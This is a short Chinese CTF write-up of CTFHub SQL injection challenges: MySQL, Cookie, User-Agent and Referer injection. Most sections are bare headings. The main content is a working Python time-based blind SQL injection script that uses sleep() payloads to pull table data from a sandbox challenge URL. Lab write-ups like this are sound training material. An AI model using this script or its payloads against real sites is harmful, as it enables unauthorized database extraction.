CTFHub_技能树_SQL注入Ⅱ

SQL注入

MySQL结构

进行尝试：

尝试查看表名：

尝试查看列名：

发现无法直接输出：

使用时间注入脚本跑出结果：

import requests
import time

session = requests.session()
url = "http://challenge-8275a6b068ee702f.sandbox.ctfhub.com:10080/"
table = ""

list_1 = [element for element in range(48,58)]
list_2 = [element for element in range(97,126)]
list_0 = list_1 + list_2

for i in range(1, 50):
    print(i)
    for j in list_0:
        # payload = "1 and if(substr(database(),%d,1) ='%s',sleep(1),1)"%(i, chr(j))
        payload = "1 and if(substr((select ljvpqlbwbt from jwlaqmygfp),%d,1) = '%s',sleep(1),1)"%(i, chr(j))
        start_time = time.time()
        str_get = session.get(url=url + '?id=' + payload).text
        end_time = time.time()
        t = end_time - start_time
        if t > 1:
            table += chr(j)
            print(table)
            break

Cookie注入

使用Burp suite进行Cookie注入测试：

UA注入

使用Burp suite测试User-Agent注入：

查看表名：

查看列名：

查看flag：

Refer注入

使用Burp suite测试Referer注入：

查看表名：

查看列名：

查看flag：